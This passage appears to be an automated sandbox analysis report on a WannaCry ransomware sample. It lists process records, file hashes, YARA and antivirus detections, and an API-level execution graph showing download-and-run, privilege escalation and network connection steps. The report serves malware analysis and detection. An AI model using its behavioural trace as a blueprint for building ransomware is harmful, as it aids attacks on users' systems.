                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:true
                                                                                              Programmed in:C, C++ or other language
                                                                                              Yara matches:
                                                                                              • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000007.00000002.356337909.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                              • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000007.00000000.269440362.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                              • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000007.00000000.267592382.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                              • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000007.00000000.266091214.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000007.00000000.266159981.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                                                                                              • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000007.00000000.263716833.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000007.00000000.267748192.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000007.00000000.263823509.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000007.00000002.356435159.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000007.00000000.269533614.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                                                                                              Reputation:low

                                                                                              General

                                                                                              Target ID:9
                                                                                              Start time:22:52:10
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\System32\winlogon.exe
                                                                                              Wow64 process (32bit):false
                                                                                              Commandline:winlogon.exe
                                                                                              Imagebase:0x7ff775840000
                                                                                              File size:677376 bytes
                                                                                              MD5 hash:F9017F2DC455AD373DF036F5817A8870
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:true
                                                                                              Programmed in:C, C++ or other language
                                                                                              Reputation:moderate

                                                                                              General

                                                                                              Target ID:10
                                                                                              Start time:22:52:12
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\System32\lsass.exe
                                                                                              Wow64 process (32bit):false
                                                                                              Commandline:C:\Windows\system32\lsass.exe
                                                                                              Imagebase:0x7ff765a60000
                                                                                              File size:57976 bytes
                                                                                              MD5 hash:317340CD278A374BCEF6A30194557227
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:true
                                                                                              Programmed in:C, C++ or other language
                                                                                              Reputation:moderate

                                                                                              General

                                                                                              Target ID:12
                                                                                              Start time:22:52:14
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\mssecsvc.exe
                                                                                              Wow64 process (32bit):true
                                                                                              Commandline:C:\WINDOWS\mssecsvc.exe -m security
                                                                                              Imagebase:0x400000
                                                                                              File size:3751936 bytes
                                                                                              MD5 hash:E1C47DA367CF7B7F607367F7DCA89CEE
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:true
                                                                                              Programmed in:C, C++ or other language
                                                                                              Yara matches:
                                                                                              • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 0000000C.00000002.361900309.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                              • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 0000000C.00000000.273590158.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 0000000C.00000000.273664052.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 0000000C.00000002.362077615.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team

                                                                                              General

                                                                                              Target ID:13
                                                                                              Start time:22:52:15
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\System32\fontdrvhost.exe
                                                                                              Wow64 process (32bit):false
                                                                                              Commandline:fontdrvhost.exe
                                                                                              Imagebase:0x7ff6e3c70000
                                                                                              File size:790304 bytes
                                                                                              MD5 hash:31113981180E69C2773BCADA4051738A
                                                                                              Has elevated privileges:false
                                                                                              Has administrator privileges:false
                                                                                              Programmed in:C, C++ or other language

                                                                                              General

                                                                                              Target ID:14
                                                                                              Start time:22:52:16
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\System32\fontdrvhost.exe
                                                                                              Wow64 process (32bit):false
                                                                                              Commandline:fontdrvhost.exe
                                                                                              Imagebase:0x7ff6e3c70000
                                                                                              File size:790304 bytes
                                                                                              MD5 hash:31113981180E69C2773BCADA4051738A
                                                                                              Has elevated privileges:false
                                                                                              Has administrator privileges:false
                                                                                              Programmed in:C, C++ or other language

                                                                                              General

                                                                                              Target ID:15
                                                                                              Start time:22:52:18
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                              Wow64 process (32bit):false
                                                                                              Commandline:c:\windows\system32\svchost.exe -k dcomlaunch -p -s PlugPlay
                                                                                              Imagebase:0x7ff7338d0000
                                                                                              File size:51288 bytes
                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:true
                                                                                              Programmed in:C, C++ or other language

                                                                                              General

                                                                                              Target ID:16
                                                                                              Start time:22:52:19
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                              Wow64 process (32bit):false
                                                                                              Commandline:C:\Windows\system32\svchost.exe -k DcomLaunch -p
                                                                                              Imagebase:0x7ff7338d0000
                                                                                              File size:51288 bytes
                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:true
                                                                                              Programmed in:C, C++ or other language

                                                                                              General

                                                                                              Target ID:17
                                                                                              Start time:22:52:20
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                              Wow64 process (32bit):false
                                                                                              Commandline:C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                                                                                              Imagebase:0x7ff7338d0000
                                                                                              File size:51288 bytes
                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:true
                                                                                              Programmed in:C, C++ or other language

                                                                                              General

                                                                                              Target ID:18
                                                                                              Start time:22:52:20
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                              Wow64 process (32bit):false
                                                                                              Commandline:c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
                                                                                              Imagebase:0x7ff647620000
                                                                                              File size:51288 bytes
                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:false
                                                                                              Programmed in:C, C++ or other language

                                                                                              General

                                                                                              Target ID:19
                                                                                              Start time:22:52:22
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                              Wow64 process (32bit):false
                                                                                              Commandline:c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
                                                                                              Imagebase:0x7ff7338d0000
                                                                                              File size:51288 bytes
                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:false
                                                                                              Programmed in:C, C++ or other language

                                                                                              General

                                                                                              Target ID:20
                                                                                              Start time:22:52:23
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                              Wow64 process (32bit):false
                                                                                              Commandline:C:\Windows\System32\svchost.exe -k NetworkService -p
                                                                                              Imagebase:0x7ff7338d0000
                                                                                              File size:51288 bytes
                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:false
                                                                                              Programmed in:C, C++ or other language

                                                                                              General

                                                                                              Target ID:21
                                                                                              Start time:22:52:24
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                              Wow64 process (32bit):false
                                                                                              Commandline:c:\windows\system32\svchost.exe -k rpcss -p
                                                                                              Imagebase:0x7ff7338d0000
                                                                                              File size:51288 bytes
                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:false
                                                                                              Programmed in:C, C++ or other language

                                                                                              General

                                                                                              Target ID:22
                                                                                              Start time:22:52:24
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\System32\SgrmBroker.exe
                                                                                              Wow64 process (32bit):false
                                                                                              Commandline:C:\Windows\system32\SgrmBroker.exe
                                                                                              Imagebase:0x7ff752aa0000
                                                                                              File size:163336 bytes
                                                                                              MD5 hash:D3170A3F3A9626597EEE1888686E3EA6
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:true
                                                                                              Programmed in:C, C++ or other language

                                                                                              General

                                                                                              Target ID:23
                                                                                              Start time:22:52:25
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                              Wow64 process (32bit):false
                                                                                              Commandline:c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
                                                                                              Imagebase:0x7ff7338d0000
                                                                                              File size:51288 bytes
                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:false
                                                                                              Programmed in:C, C++ or other language

                                                                                              General

                                                                                              Target ID:24
                                                                                              Start time:22:52:26
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                              Wow64 process (32bit):false
                                                                                              Commandline:c:\windows\system32\svchost.exe -k unistacksvcgroup
                                                                                              Imagebase:0x7ff7338d0000
                                                                                              File size:51288 bytes
                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:true
                                                                                              Programmed in:C, C++ or other language

                                                                                              General

                                                                                              Target ID:25
                                                                                              Start time:22:52:27
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                              Wow64 process (32bit):false
                                                                                              Commandline:c:\windows\system32\svchost.exe -k dcomlaunch -p -s LSM
                                                                                              Imagebase:0x7ff7338d0000
                                                                                              File size:51288 bytes
                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:true
                                                                                              Programmed in:C, C++ or other language

                                                                                              General

                                                                                              Target ID:26
                                                                                              Start time:22:52:29
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\System32\dwm.exe
                                                                                              Wow64 process (32bit):false
                                                                                              Commandline:dwm.exe
                                                                                              Imagebase:0x7ff7aa950000
                                                                                              File size:62464 bytes
                                                                                              MD5 hash:70073A05B2B43FFB7A625708BB29E7C7
                                                                                              Has elevated privileges:false
                                                                                              Has administrator privileges:false
                                                                                              Programmed in:C, C++ or other language

                                                                                              General

                                                                                              Target ID:27
                                                                                              Start time:22:52:29
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                              Wow64 process (32bit):false
                                                                                              Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p
                                                                                              Imagebase:0x7ff7338d0000
                                                                                              File size:51288 bytes
                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:true
                                                                                              Programmed in:C, C++ or other language

                                                                                              General

                                                                                              Target ID:28
                                                                                              Start time:22:52:30
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\System32\backgroundTaskHost.exe
                                                                                              Wow64 process (32bit):false
                                                                                              Commandline:"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                              Imagebase:0x7ff7748d0000
                                                                                              File size:19352 bytes
                                                                                              MD5 hash:B7FC4A29431D4F795BBAB1FB182B759A
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:false
                                                                                              Programmed in:C, C++ or other language

                                                                                              General

                                                                                              Target ID:29
                                                                                              Start time:22:52:34
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                              Wow64 process (32bit):false
                                                                                              Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                                                                                              Imagebase:0x7ff7338d0000
                                                                                              File size:51288 bytes
                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:true
                                                                                              Programmed in:C, C++ or other language

                                                                                              General

                                                                                              Target ID:30
                                                                                              Start time:22:52:38
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                              Wow64 process (32bit):false
                                                                                              Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p
                                                                                              Imagebase:0x7ff7338d0000
                                                                                              File size:51288 bytes
                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:true
                                                                                              Programmed in:C, C++ or other language

                                                                                              General

                                                                                              Target ID:31
                                                                                              Start time:22:52:45
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\tasksche.exe
                                                                                              Wow64 process (32bit):false
                                                                                              Commandline:C:\WINDOWS\tasksche.exe /i
                                                                                              Imagebase:0x400000
                                                                                              File size:3514368 bytes
                                                                                              MD5 hash:3233ACED9279EF54267C479BBA665B90
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:true
                                                                                              Programmed in:C, C++ or other language
                                                                                              Yara matches:
                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 0000001F.00000000.340764115.000000000040E000.00000008.00000001.01000000.00000008.sdmp, Author: us-cert code analysis team
                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmp, Author: us-cert code analysis team
                                                                                              • Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\tasksche.exe, Author: Florian Roth (with the help of binar.ly)
                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: C:\Windows\tasksche.exe, Author: us-cert code analysis team
                                                                                              • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Windows\tasksche.exe, Author: ReversingLabs
                                                                                              Antivirus matches:
                                                                                              • Detection: 100%, Avira
                                                                                              • Detection: 100%, Joe Sandbox ML
                                                                                              • Detection: 85%, Metadefender, Browse
                                                                                              • Detection: 95%, ReversingLabs

                                                                                              General

                                                                                              Target ID:32
                                                                                              Start time:22:52:55
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                              Wow64 process (32bit):false
                                                                                              Commandline:c:\windows\system32\svchost.exe -k netsvcs -p -s gpsvc
                                                                                              Imagebase:0x7ff7338d0000
                                                                                              File size:51288 bytes
                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:true
                                                                                              Programmed in:C, C++ or other language

                                                                                              General

                                                                                              Target ID:33
                                                                                              Start time:22:52:57
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                              Wow64 process (32bit):false
                                                                                              Commandline:c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s lmhosts
                                                                                              Imagebase:0x7ff7338d0000
                                                                                              File size:51288 bytes
                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                              Has elevated privileges:false
                                                                                              Has administrator privileges:false
                                                                                              Programmed in:C, C++ or other language

                                                                                              General

                                                                                              Target ID:34
                                                                                              Start time:22:52:58
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                              Wow64 process (32bit):false
                                                                                              Commandline:C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
                                                                                              Imagebase:0x7ff7338d0000
                                                                                              File size:51288 bytes
                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:false
                                                                                              Programmed in:C, C++ or other language

                                                                                              General

                                                                                              Target ID:35
                                                                                              Start time:22:53:03
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                              Wow64 process (32bit):false
                                                                                              Commandline:c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s TimeBrokerSvc
                                                                                              Imagebase:0x7ff7338d0000
                                                                                              File size:51288 bytes
                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                              Has elevated privileges:false
                                                                                              Has administrator privileges:false
                                                                                              Programmed in:C, C++ or other language

                                                                                              General

                                                                                              Target ID:36
                                                                                              Start time:22:53:04
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                              Wow64 process (32bit):false
                                                                                              Commandline:c:\windows\system32\svchost.exe -k netsvcs -p -s Schedule
                                                                                              Imagebase:0x7ff7338d0000
                                                                                              File size:51288 bytes
                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:true
                                                                                              Programmed in:C, C++ or other language

                                                                                              General

                                                                                              Target ID:37
                                                                                              Start time:22:53:09
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                              Wow64 process (32bit):false
                                                                                              Commandline:c:\windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                                                                                              Imagebase:0x7ff7338d0000
                                                                                              File size:51288 bytes
                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:true
                                                                                              Programmed in:C, C++ or other language

                                                                                              General

                                                                                              Target ID:38
                                                                                              Start time:22:53:11
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                              Wow64 process (32bit):false
                                                                                              Commandline:c:\windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                                                                              Imagebase:0x7ff7338d0000
                                                                                              File size:51288 bytes
                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:true
                                                                                              Programmed in:C, C++ or other language

                                                                                              General

                                                                                              Target ID:39
                                                                                              Start time:22:53:12
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                              Wow64 process (32bit):false
                                                                                              Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p
                                                                                              Imagebase:0x7ff7338d0000
                                                                                              File size:51288 bytes
                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:true
                                                                                              Programmed in:C, C++ or other language

                                                                                              General

                                                                                              Target ID:40
                                                                                              Start time:22:53:12
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                              Wow64 process (32bit):false
                                                                                              Commandline:c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s EventLog
                                                                                              Imagebase:0x7ff7338d0000
                                                                                              File size:51288 bytes
                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:false
                                                                                              Programmed in:C, C++ or other language

                                                                                              Disassembly

                                                                                              Reset < >

                                                                                                Execution Graph

                                                                                                Execution Coverage:0.7%
                                                                                                Dynamic/Decrypted Code Coverage:0%
                                                                                                Signature Coverage:61.6%
                                                                                                Total number of Nodes:357
                                                                                                Total number of Limit Nodes:2
                                                                                                execution_graph 3893 7fea4c6b 3896 7fea4c9e 3893->3896 3897 7fea4caa 3896->3897 3904 7fea4499 3897->3904 3899 7fea4cb7 3900 7fea4499 5 API calls 3899->3900 3903 7fea4d64 3899->3903 3901 7fea4d58 3900->3901 3902 7fea4499 5 API calls 3901->3902 3901->3903 3902->3903 3905 7fea44c2 CreateFileA 3904->3905 3906 7fea44a3 GetFileAttributesA 3904->3906 3909 7fea44fc CreateFileMappingA 3905->3909 3906->3905 3907 7fea44af SetFileAttributesA 3906->3907 3907->3905 3911 7fea4573 MapViewOfFile 3909->3911 3913 7fea45a8 3911->3913 3913->3899 4435 7fea3888 4437 7fea388e GetSystemTime 4435->4437 4438 7fea38d2 4437->4438 4439 7fea390c Sleep 4438->4439 4440 7fea3a32 4438->4440 4441 7fea3924 InternetGetConnectedState 4438->4441 4442 7fea3954 gethostbyname 4438->4442 4445 7fea3a1f closesocket 4438->4445 4439->4438 4441->4438 4442->4438 4443 7fea397a socket 4442->4443 4443->4438 4444 7fea3990 ioctlsocket connect Sleep 4443->4444 4444->4438 4445->4438 4416 7fea43ad 4417 7fea43b9 4416->4417 4420 7fea43dd 4417->4420 4419 7fea43c4 4423 7fea144a LookupPrivilegeValueA NtAdjustPrivilegesToken 4420->4423 4422 7fea43e3 4422->4419 4423->4422 3914 7fea2762 3916 7fea2768 3914->3916 3917 7fea2839 InternetCloseHandle 3916->3917 3918 7fea2780 GetTempPathA 3916->3918 3926 7fea27a7 GetTempFileNameA CreateFileA 3918->3926 3920 7fea27a3 CreateFileA 3921 7fea2829 InternetCloseHandle 3920->3921 3922 7fea27ce InternetReadFile 3920->3922 3921->3917 3923 7fea27e8 3922->3923 3924 7fea27fe CloseHandle CreateProcessA 3922->3924 3923->3924 3925 7fea27ea WriteFile 3923->3925 3924->3921 3925->3922 3925->3924 3927 7fea2829 InternetCloseHandle 3926->3927 3928 7fea27ce InternetReadFile 3926->3928 3929 7fea2839 InternetCloseHandle 3927->3929 3930 7fea27e8 3928->3930 3931 7fea27fe CloseHandle CreateProcessA 3928->3931 3929->3920 3930->3931 3932 7fea27ea WriteFile 3930->3932 3931->3927 3932->3928 3932->3931 4427 7fea1422 LookupPrivilegeValueA NtAdjustPrivilegesToken 3933 7fea33e0 3934 7fea344e 3933->3934 3935 7fea33e5 3933->3935 3936 7fea345f NtQuerySystemInformation 3934->3936 3941 7fea35f3 3934->3941 3937 7fea346f MapViewOfFile CloseHandle 3935->3937 3938 7fea3440 NtOpenSection 3935->3938 3936->3937 3940 7fea34b0 3937->3940 3937->3941 3938->3934 3939 7fea34b7 UnmapViewOfFile 3939->3941 3940->3939 3940->3941 4428 7fea6620 4429 7fea6647 5 API calls 4428->4429 4430 7fea662a 4429->4430 4446 7fea0000 4447 7fea0004 4446->4447 4448 7fea00a1 4447->4448 4450 7fea025e 4447->4450 4454 7fea0105 4450->4454 4453 7fea0278 4453->4448 4455 7fea0116 GetPEB 4454->4455 4455->4453 3942 7fea2665 3944 7fea266b CreateThread CloseHandle 3942->3944 3945 7fea3c38 3944->3945 3947 7fea3c3d 3945->3947 3948 7fea3ca9 3947->3948 3954 7fea3c5b GetWindowsDirectoryA 3947->3954 4002 7fea252f NtOpenSection 3948->4002 3950 7fea3cae 3952 7fea3cfb GetSystemDirectoryA 3950->3952 3953 7fea3cb5 3950->3953 4047 7fea3d1f lstrcat 3952->4047 4003 7fea3cc2 GetModuleHandleA 3953->4003 3955 7fea3d26 3954->3955 4089 7fea3d36 LoadLibraryA 3955->4089 4002->3950 4004 7fea3ccc 4003->4004 4005 7fea3cde 4003->4005 4007 7fea3cd4 GetProcAddress 4004->4007 4130 7fea3cf0 GetModuleHandleA 4005->4130 4007->4005 4048 7fea3d26 4047->4048 4049 7fea3d36 151 API calls 4048->4049 4050 7fea3d2b GetProcAddress LoadLibraryA 4049->4050 4052 7fea10ce 2 API calls 4050->4052 4053 7fea3d7d 4052->4053 4054 7fea3d92 GetTickCount 4053->4054 4055 7fea3daa 4054->4055 4056 7fea3e47 GetVolumeInformationA 4055->4056 4057 7fea3e7a 4056->4057 4058 7fea3f25 4057->4058 4059 7fea3eb5 96 API calls 4057->4059 4061 7fea3f4f 4058->4061 4062 7fea3f31 CreateThread CloseHandle 4058->4062 4060 7fea3ea9 4059->4060 4060->4058 4065 7fea3eca GetModuleFileNameA wsprintfA 4060->4065 4063 7fea3f60 43 API calls 4061->4063 4062->4061 4064 7fea3f54 4063->4064 4066 7fea10ce 2 API calls 4064->4066 4068 7fea3f14 4065->4068 4067 7fea3f7e 4066->4067 4069 7fea3f8f 23 API calls 4067->4069 4068->4058 4071 7fea3405 5 API calls 4068->4071 4070 7fea3f83 4069->4070 4072 7fea3ffa CreateEventA 4070->4072 4073 7fea3fd3 CreateThread CloseHandle 4070->4073 4071->4058 4086 7fea4012 4072->4086 4073->4072 4074 7fea4056 lstrlen 4074->4074 4075 7fea4065 gethostbyname 4074->4075 4075->4086 4076 7fea4081 socket 4078 7fea40a6 connect 4076->4078 4076->4086 4077 7fea4320 RtlExitUserThread 4080 7fea42b7 closesocket 4078->4080 4078->4086 4079 7fea42d0 SetEvent 4079->4086 4080->4086 4081 7fea42f2 Sleep ResetEvent 4081->4086 4082 7fea40ef GetVersionExA 4082->4086 4083 7fea4172 wsprintfA 4083->4086 4084 7fea41a7 CreateThread CloseHandle 4084->4086 4085 7fea41f6 GetTickCount 4085->4086 4086->4074 4086->4075 4086->4076 4086->4077 4086->4079 4086->4080 4086->4081 4086->4082 4086->4083 4086->4084 4086->4085 4087 7fea4288 Sleep 4086->4087 4087->4086 4088 7fea4294 GetTickCount 4087->4088 4088->4086 4292 7fea3d4b GetProcAddress LoadLibraryA 4089->4292 4173 7fea26d4 4130->4173 4133 7fea3d1f 179 API calls 4134 7fea3d12 GetProcAddress LoadLibraryA 4133->4134 4175 7fea10ce 4134->4175 4137 7fea3d7d 4138 7fea3d92 GetTickCount 4137->4138 4139 7fea3daa 4138->4139 4140 7fea3e47 GetVolumeInformationA 4139->4140 4141 7fea3e7a 4140->4141 4142 7fea3f25 4141->4142 4179 7fea3eb5 LoadLibraryA 4141->4179 4145 7fea3f4f 4142->4145 4146 7fea3f31 CreateThread CloseHandle 4142->4146 4211 7fea3f60 LoadLibraryA 4145->4211 4146->4145 4174 7fea26c8 GetSystemDirectoryA 4173->4174 4174->4133 4178 7fea10db 4175->4178 4176 7fea115c 4176->4137 4177 7fea1133 GetModuleHandleA GetProcAddress 4177->4178 4178->4175 4178->4176 4178->4177 4233 7fea3ecc GetProcAddress GetModuleFileNameA wsprintfA 4179->4233 4212 7fea3f7e 4211->4212 4213 7fea10ce 2 API calls 4211->4213 4214 7fea3f8f 23 API calls 4212->4214 4213->4212 4215 7fea3f83 4214->4215 4216 7fea3ffa CreateEventA 4215->4216 4217 7fea3fd3 CreateThread CloseHandle 4215->4217 4230 7fea4012 4216->4230 4217->4216 4218 7fea4056 lstrlen 4218->4218 4219 7fea4065 gethostbyname 4218->4219 4219->4230 4220 7fea4081 socket 4222 7fea40a6 connect 4220->4222 4220->4230 4221 7fea4320 RtlExitUserThread 4224 7fea42b7 closesocket 4222->4224 4222->4230 4223 7fea42d0 SetEvent 4223->4230 4224->4230 4225 7fea42f2 Sleep ResetEvent 4225->4230 4226 7fea40ef GetVersionExA 4226->4230 4227 7fea4172 wsprintfA 4227->4230 4228 7fea41a7 CreateThread CloseHandle 4228->4230 4229 7fea41f6 GetTickCount 4229->4230 4230->4218 4230->4219 4230->4220 4230->4221 4230->4223 4230->4224 4230->4225 4230->4226 4230->4227 4230->4228 4230->4229 4231 7fea4288 Sleep 4230->4231 4231->4230 4232 7fea4294 GetTickCount 4231->4232 4232->4230 4234 7fea3f14 4233->4234 4235 7fea3f25 4234->4235 4262 7fea3405 4234->4262 4237 7fea3f4f 4235->4237 4238 7fea3f31 CreateThread CloseHandle 4235->4238 4239 7fea3f60 43 API calls 4237->4239 4238->4237 4240 7fea3f54 4239->4240 4241 7fea10ce 2 API calls 4240->4241 4242 7fea3f7e 4241->4242 4271 7fea3f8f LoadLibraryA 4242->4271 4263 7fea343b 4262->4263 4263->4263 4264 7fea3440 NtOpenSection 4263->4264 4265 7fea344e 4264->4265 4266 7fea345f NtQuerySystemInformation 4265->4266 4270 7fea35f3 4265->4270 4267 7fea346f MapViewOfFile CloseHandle 4266->4267 4269 7fea34b0 4267->4269 4267->4270 4268 7fea34b7 UnmapViewOfFile 4268->4270 4269->4268 4269->4270 4270->4235 4272 7fea3f9d 4271->4272 4273 7fea4320 RtlExitUserThread 4271->4273 4274 7fea10ce 2 API calls 4272->4274 4275 7fea3fb5 4274->4275 4275->4273 4276 7fea3fc2 WSAStartup CreateThread CloseHandle 4275->4276 4277 7fea3ffa CreateEventA 4276->4277 4285 7fea4012 4277->4285 4278 7fea4056 